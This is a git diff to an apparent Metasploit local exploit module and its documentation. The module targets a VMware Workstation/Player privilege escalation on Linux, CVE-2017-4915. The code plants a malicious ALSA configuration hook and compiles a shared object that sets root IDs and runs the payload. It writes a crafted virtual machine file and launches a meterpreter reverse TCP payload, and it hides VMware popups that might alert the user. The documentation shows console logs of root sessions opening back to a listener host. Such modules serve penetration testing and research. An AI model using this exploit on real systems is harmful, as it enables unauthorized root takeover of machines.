diff --git a/documentation/modules/exploit/linux/local/vmware_alsa_config.md b/documentation/modules/exploit/linux/local/vmware_alsa_config.md index ed3978f6a872..2f9bad21e394 100644 --- a/documentation/modules/exploit/linux/local/vmware_alsa_config.md +++ b/documentation/modules/exploit/linux/local/vmware_alsa_config.md @@ -1,15 +1,22 @@ ## Description - This module exploits a vulnerability in VMware Workstation Pro and Player before version 12.5.6 on Linux which allows users to escalate their privileges by using an ALSA configuration file to load and execute a shared object as root when launching a virtual machine with an attached sound card. + This module exploits a vulnerability in VMware Workstation Pro and + Player on Linux which allows users to escalate their privileges by + using an ALSA configuration file to load and execute a shared object + as `root` when launching a virtual machine with an attached sound card. ## Vulnerable Application - VMware Workstation Pro and VMware Workstation Player are the industry standard for running multiple operating systems as virtual machines on a single PC. Thousands of IT professionals, developers and businesses use Workstation Pro and Workstation Player to be more agile, more productive and more secure every day. + VMware Workstation Pro and VMware Workstation Player are the industry + standard for running multiple operating systems as virtual machines on + a single PC. Thousands of IT professionals, developers and businesses + use Workstation Pro and Workstation Player to be more agile, more + productive and more secure every day. This module has been tested successfully on: - * VMware Player version 12.5.0 on Debian Linux + * VMware Player version 12.5.0 on Debian Linux 8 Jessie ## Verification Steps @@ -20,7 +27,7 @@ 4. Do: `set SESSION [SESSION]` 5. Do: `check` 6. Do: `run` - 7. You should get a new root session + 7. You should get a new `root` session ## Options @@ -33,31 +40,72 @@ A writable directory file system path. (default: `/tmp`) + **Xdisplay** + + Display exploit will attempt to use (default: `:0`) + ## Scenarios +### Command Shell Session - VMware Player 12.5.0 (Debian 8 Jessie) + ``` - msf exploit(vmware_alsa_config) > check + msf5 > use exploit/linux/local/vmware_alsa_config + msf5 exploit(linux/local/vmware_alsa_config) > set lhost 172.16.191.188 + lhost => 172.16.191.188 + msf5 exploit(linux/local/vmware_alsa_config) > set session 1 + session => 1 + msf5 exploit(linux/local/vmware_alsa_config) > run + + [*] Started reverse TCP handler on 172.16.191.188:4444 + [*] Writing '/tmp/pSvQHD5S5fh/afLaYVIoUm.so.c' (526 bytes) ... + [*] Writing '/tmp/pSvQHD5S5fh/pSvQHD5S5fh.vmx' (560 bytes) ... + [*] Writing '/tmp/pSvQHD5S5fh/jl7XmpZWdE' (964720 bytes) ... + [*] Writing '/home/user/.asoundrc' (116 bytes) ... + [*] Launching VMware Player... + [*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.208:57796) at 2018-12-17 02:43:22 -0500 + [+] Deleted /home/user/.asoundrc + [+] Deleted /home/user/Desktop/~/.vmware/preferences + [!] Attempting to delete working directory /tmp/pSvQHD5S5fh + [-] Exploit failed: negative array size (or size too big) - [!] SESSION may not be compatible with this module. - [+] Target version is vulnerable - [+] The target is vulnerable. - msf exploit(vmware_alsa_config) > run + meterpreter > getuid + Server username: uid=0, gid=0, euid=0, egid=0 + meterpreter > sysinfo + Computer : 172.16.191.208 + OS : Debian 8.8 (Linux 3.16.0-4-amd64) + Architecture : x64 + BuildTuple : x86_64-linux-musl + Meterpreter : x64/linux + meterpreter > + ``` + +### Meterpreter Session - VMware Player 12.5.0 (Debian 8 Jessie) - [!] SESSION may not be compatible with this module. - [*] Started reverse TCP handler on 172.16.191.181:4444 - [+] Target version is vulnerable + ``` + msf5 > use exploit/linux/local/vmware_alsa_config + msf5 exploit(linux/local/vmware_alsa_config) > set lhost 172.16.191.188 + lhost => 172.16.191.188 + msf5 exploit(linux/local/vmware_alsa_config) > set session 1 + session => 1 + msf5 exploit(linux/local/vmware_alsa_config) > run + + [*] Started reverse TCP handler on 172.16.191.188:4444 + [*] Writing '/tmp/5irkXF31Iw/GHAPsWBkjix.so.c' (527 bytes) ... + [*] Writing '/tmp/5irkXF31Iw/5irkXF31Iw.vmx' (558 bytes) ... + [*] Writing '/tmp/5irkXF31Iw/Rxqj9taEcXol' (964720 bytes) ... + [*] Writing '/home/user/.asoundrc' (116 bytes) ... [*] Launching VMware Player... - [*] Meterpreter session 2 opened (172.16.191.181:4444 -> 172.16.191.221:33807) at 2017-06-23 08:22:11 -0400 - [*] Removing /tmp/.baVu7FwzlaIQyp - [*] Removing /home/user/.asoundrc + [*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.208:57799) at 2018-12-17 02:46:39 -0500 meterpreter > getuid Server username: uid=0, gid=0, euid=0, egid=0 meterpreter > sysinfo - Computer : 172.16.191.221 + Computer : 172.16.191.208 OS : Debian 8.8 (Linux 3.16.0-4-amd64) Architecture : x64 + BuildTuple : x86_64-linux-musl Meterpreter : x64/linux + meterpreter > ``` diff --git a/modules/exploits/linux/local/vmware_alsa_config.rb b/modules/exploits/linux/local/vmware_alsa_config.rb index fc110c61adf6..0aad6cf3d18c 100644 --- a/modules/exploits/linux/local/vmware_alsa_config.rb +++ b/modules/exploits/linux/local/vmware_alsa_config.rb @@ -6,8 +6,11 @@ class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking - include Msf::Exploit::EXE + include Msf::Post::Linux::Priv + include Msf::Post::Linux::System + include Msf::Post::Linux::Kernel include Msf::Post::File + include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) @@ -20,13 +23,14 @@ def initialize(info = {}) as root when launching a virtual machine with an attached sound card. This module has been tested successfully on VMware Player version - 12.5.0 on Debian Linux. + 12.5.0 on Debian Linux 8 Jessie. }, 'References' => [ [ 'CVE', '2017-4915' ], [ 'EDB', '42045' ], [ 'BID', '98566' ], + [ 'URL', 'https://www.securitytracker.com/id/1038525' ], [ 'URL', 'https://gist.github.com/bcoles/cd26a831473088afafefc93641e184a9' ], [ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2017-0009.html' ], [ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1142' ] @@ -34,8 +38,8 @@ def initialize(info = {}) 'License' => MSF_LICENSE, 'Author' => [ - 'Jann Horn', # Discovery and PoC - 'Brendan Coles ' # Metasploit + 'Jann Horn', # Discovery and PoC + 'Brendan Coles' # Metasploit ], 'DisclosureDate' => 'May 22 2017', 'Platform' => 'linux', @@ -46,86 +50,137 @@ def initialize(info = {}) ], 'DefaultOptions' => { - 'Payload' => 'linux/x64/meterpreter_reverse_tcp', + 'AppendExit' => true, + 'PrependFork' => true, 'WfsDelay' => 30, - 'PrependFork' => true + 'Payload' => 'linux/x64/meterpreter_reverse_tcp' }, 'DefaultTarget' => 1, 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Privileged' => true )) register_advanced_options [ - OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) + OptBool.new('ForceExploit', [false, 'Override check result', false]), + OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']), + OptString.new('Xdisplay', [true, 'Display exploit will attempt to use', ':0']) ] end - def has_prereqs? - vmplayer = cmd_exec 'which vmplayer' - if vmplayer.include? 'vmplayer' - vprint_good 'vmplayer is installed' - else - print_error 'vmplayer is not installed. Exploitation will fail.' - return false + def base_dir + datastore['WritableDir'].to_s + end + + def mkdir(path) + vprint_status "Creating '#{path}' directory" + cmd_exec "mkdir -p #{path}" + register_dir_for_cleanup path + end + + def upload(path, data) + print_status "Writing '#{path}' (#{data.size} bytes) ..." + rm_f path + write_file path, data + register_file_for_cleanup path + end + + def upload_and_chmodx(path, data) + upload path, data + chmod path + end + + def strip_comments(c_code) + c_code.gsub(%r{/\*.*?\*/}m, '').gsub(%r{^\s*//.*$}, '') + end + + def upload_and_compile(path, data, gcc_args='') + upload "#{path}.c", data + + gcc_cmd = "gcc -o #{path} #{path}.c" + if session.type.eql? 'shell' + gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}" end - gcc = cmd_exec 'which gcc' - if gcc.include? 'gcc' - vprint_good 'gcc is installed' - else - print_error 'gcc is not installed. Compiling will fail.' - return false + unless gcc_args.to_s.blank? + gcc_cmd << " #{gcc_args}" end - true + output = cmd_exec gcc_cmd + + unless output.blank? + print_error output + fail_with Failure::Unknown, "#{path}.c failed to compile" + end + + register_file_for_cleanup path + chmod path end def check - unless has_prereqs? - print_error 'Target missing prerequisites' + unless command_exists? '/usr/bin/vmplayer' + print_error 'vmplayer is not installed. Exploitation will fail.' return CheckCode::Safe end + vprint_good 'vmplayer is installed' - begin - config = read_file '/etc/vmware/config' - rescue - config = '' + unless has_gcc? + print_error 'gcc is not installed. Compiling will fail.' + return CheckCode::Safe end + vprint_good 'gcc is installed' + config = read_file('/etc/vmware/config') rescue '' if config =~ /player\.product\.version\s*=\s*"([\d\.]+)"/ - @version = Gem::Version.new $1.gsub(/\.$/, '') - vprint_status "VMware is version #{@version}" + version = Gem::Version.new $1.gsub(/\.$/, '') + vprint_status "VMware is version #{version}" else - print_error "Could not determine VMware version." - return CheckCode::Unknown + vprint_error 'Could not determine VMware version.' + return CheckCode::Detected end - if @version < Gem::Version.new('12.5.6') - print_good 'Target version is vulnerable' - return CheckCode::Vulnerable + if version >= Gem::Version.new('12.5.6') + vprint_error 'Target version is not vulnerable' + return CheckCode::Safe end - print_error 'Target version is not vulnerable' - CheckCode::Safe + CheckCode::Appears end def exploit - if check == CheckCode::Safe - print_error 'Target machine is not vulnerable' - return + unless [CheckCode::Detected, CheckCode::Appears].include? check + unless datastore['ForceExploit'] + fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' + end + print_warning 'Target does not appear to be vulnerable' end - @home_dir = cmd_exec 'echo ${HOME}' - unless @home_dir - print_error "Could not find user's home directory" - return + if is_root? + unless datastore['ForceExploit'] + fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.' + end end - @prefs_file = "#{@home_dir}/.vmware/preferences" - fname = ".#{rand_text_alphanumeric rand(10) + 5}" - @base_dir = "#{datastore['WritableDir']}/#{fname}" - cmd_exec "mkdir #{@base_dir}" + unless writable? base_dir + fail_with Failure::BadConfig, "#{base_dir} is not writable" + end - so = %Q^ + home_dir = cmd_exec 'PATH=$PATH:/usr/bin getent passwd `id -un` | cut -d: -f6' + if home_dir.blank? + fail_with Failure::Unknown, "Could not find user's home directory" + end + + unless writable? home_dir + fail_with Failure::BadConfig, "#{home_dir} is not writable" + end + + # Create a directory for the virtual machine and associated files + vmx_name = rand_text_alphanumeric(10..15) + vm_dir = "#{base_dir}/#{vmx_name}" + mkdir vm_dir + + # Create shared object + payload_name = rand_text_alphanumeric(10..15) + so_name = rand_text_alphanumeric(10..15) + so = <<-EOF /* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1142 Original shared object code by jhorn @@ -149,22 +204,16 @@ def exploit if (ruid == 0 || euid == 0 || suid == 0) { if (setresuid(0, 0, 0) || setresgid(0, 0, 0)) err(1, "setresxid"); - system("#{@base_dir}/#{fname}.elf"); + system("#{vm_dir}/#{payload_name}"); _exit(0); } } -^ - vprint_status "Writing #{@base_dir}/#{fname}.c" - write_file "#{@base_dir}/#{fname}.c", so - - vprint_status "Compiling #{@base_dir}/#{fname}.o" - output = cmd_exec "gcc -fPIC -shared -o #{@base_dir}/#{fname}.so #{@base_dir}/#{fname}.c -Wall -ldl -std=gnu99" - unless output == '' - print_error "Compilation failed: #{output}" - return - end +EOF - vmx = %Q| + upload_and_compile "#{vm_dir}/#{so_name}.so", strip_comments(so), '-fPIC -shared -Wall -ldl -std=gnu99' + + # Create virtual machine + vmx = <<-EOF .encoding = "UTF-8" config.version = "8" virtualHW.version = "8" @@ -176,9 +225,9 @@ def exploit sound.autodetect = "TRUE" vmci0.present = "FALSE" hpet0.present = "FALSE" -displayName = "#{fname}" +displayName = "#{vmx_name}" guestOS = "other" -nvram = "#{fname}.nvram" +nvram = "#{vmx_name}.nvram" virtualHW.productCompatibility = "hosted" gui.exitOnCLIHLT = "FALSE" powerType.powerOff = "soft" @@ -187,75 +236,62 @@ def exploit powerType.reset = "soft" floppy0.present = "FALSE" monitor_control.disable_longmode = 1 -| - vprint_status "Writing #{@base_dir}/#{fname}.vmx" - write_file "#{@base_dir}/#{fname}.vmx", vmx - - vprint_status "Writing #{@base_dir}/#{fname}.elf" - write_file "#{@base_dir}/#{fname}.elf", generate_payload_exe +EOF - vprint_status "Setting #{@base_dir}/#{fname}.elf executable" - cmd_exec "chmod +x #{@base_dir}/#{fname}.elf" + upload "#{vm_dir}/#{vmx_name}.vmx", vmx + upload_and_chmodx "#{vm_dir}/#{payload_name}", generate_payload_exe - asoundrc = %Q| + # Create ALSA sound config + asoundrc = <<-EOF hook_func.pulse_load_if_running { - lib "#{@base_dir}/#{fname}.so" + lib "#{vm_dir}/#{so_name}.so" func "conf_pulse_hook_load_if_running" } -| - vprint_status "Writing #{@home_dir}/.asoundrc" - write_file "#{@home_dir}/.asoundrc", asoundrc - - vprint_status 'Disabling VMware hint popups' - unless directory? "#{@home_dir}/.vmware" - cmd_exec "mkdir #{@home_dir}/.vmware" - @remove_prefs_dir = true +EOF + + upload "#{home_dir}/.asoundrc", asoundrc + + # Hint popups must be disabled. + # Popups may cause the VMplayer process to hang open, awaiting input. They may also alert the user. + # Also, firstRunDismissedVersion must be set to prevent registration popups on a fresh install. + # + # VMware uses '~' to determine the user's home directory when reading the preferences file: + # stat("~/.vmware/preferences", 0x7fffd18da340) = -1 ENOENT (No such file or directory) + # open("~/.vmware/preferences", O_RDONLY) = -1 ENOENT (No such file or directory) + # + # If we're executing in a shell without '~' expansion, + # then we'll need to create this directory in the current working directory. + vprint_status 'Disabling VMware popups...' + + unless cmd_exec("test -d ~ && echo true").include? 'true' + mkdir '~' + end + unless cmd_exec("test -d ~/.vmware && echo true").include? 'true' + mkdir '~/.vmware' end - if file? @prefs_file - begin - prefs = read_file @prefs_file - rescue - prefs = '' - end + # Expand '~' to the appropriate full directory path and parse preferences + prefs_file = cmd_exec "PATH=$PATH:/usr/bin realpath ~/.vmware/preferences" + unless file? prefs_file + cmd_exec "touch #{prefs_file}" + register_file_for_cleanup prefs_file end + prefs = cmd_exec("cat #{prefs_file}").to_s if prefs.blank? prefs = ".encoding = \"UTF8\"\n" prefs << "pref.vmplayer.firstRunDismissedVersion = \"999\"\n" prefs << "hints.hideAll = \"TRUE\"\n" - @remove_prefs_file = true elsif prefs =~ /hints\.hideAll/i prefs.gsub!(/hints\.hideAll.*$/i, 'hints.hideAll = "TRUE"') else prefs.sub!(/\n?\z/, "\nhints.hideAll = \"TRUE\"\n") end - vprint_status "Writing #{@prefs_file}" - write_file "#{@prefs_file}", prefs + vprint_status "Writing config file: #{prefs_file}" + write_file prefs_file, prefs + # Launch VMware in the background to prevent the existing session from dying print_status 'Launching VMware Player...' - cmd_exec "vmplayer #{@base_dir}/#{fname}.vmx" - end - - def cleanup - print_status "Removing #{@base_dir} directory" - cmd_exec "rm '#{@base_dir}' -rf" - - print_status "Removing #{@home_dir}/.asoundrc" - cmd_exec "rm '#{@home_dir}/.asoundrc'" - - if @remove_prefs_dir - print_status "Removing #{@home_dir}/.vmware directory" - cmd_exec "rm '#{@home_dir}/.vmware' -rf" - elsif @remove_prefs_file - print_status "Removing #{@prefs_file}" - cmd_exec "rm '#{@prefs_file}' -rf" - end - end - - def on_new_session(session) - # if we don't /bin/sh here, our payload times out - session.shell_command_token '/bin/sh' - super + cmd_exec "DISPLAY=#{datastore['Xdisplay']} PATH=$PATH:/usr/bin vmplayer #{vm_dir}/#{vmx_name}.vmx & echo " end end